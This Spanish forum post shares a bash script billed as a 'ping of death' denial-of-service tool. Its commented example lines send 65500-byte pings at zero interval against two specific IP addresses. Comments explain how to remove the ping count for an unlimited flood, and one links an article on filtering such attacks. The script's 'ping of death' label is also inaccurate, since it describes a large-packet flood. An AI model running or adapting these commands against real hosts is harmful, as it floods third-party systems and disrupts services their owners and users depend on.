Página 1 de 1

Script para hacer un ping de la muerte

Publicado: Lun Oct 31, 2016 6:02 pm
por adminweb

Código: Seleccionar todo

#! /bin/bash

# Atrapar ctrl-c y llamar a ctrl_c()
trap ctrl_c INT


start()
{
 # Si es "root", puede establecer el intervalo cero de tiempo con "-i 0"
 # Puede establecer un número ilimitado de pings, quitando "-c 10"
 echo "start"
 # Ejemplos:
 # ping 104.25.68.6 -s 65500 -i 0 -c 10
 # ping 185.140.35.100 -s 65500 -c 10
 echo "Ejemplo."
 # Puede filtrar el "ping de la muerte" con este artículo:
 # http://www.linux-party.com/index.php/7754-iptables-para-evitar-ataques-de-denegaci%C3%B3n-de-servicio-%28ddos%29
 # Y otros, que te tendrás que buscar y currar.
}

stop()
{
  echo "Deteniendo...: stop"
  exit 0
}

function ctrl_c() {
        echo "** CTRL-C ** Atrapado"
        stop
}

for i in `seq 1 10`; do
    sleep 1
    start
    echo -n "."
done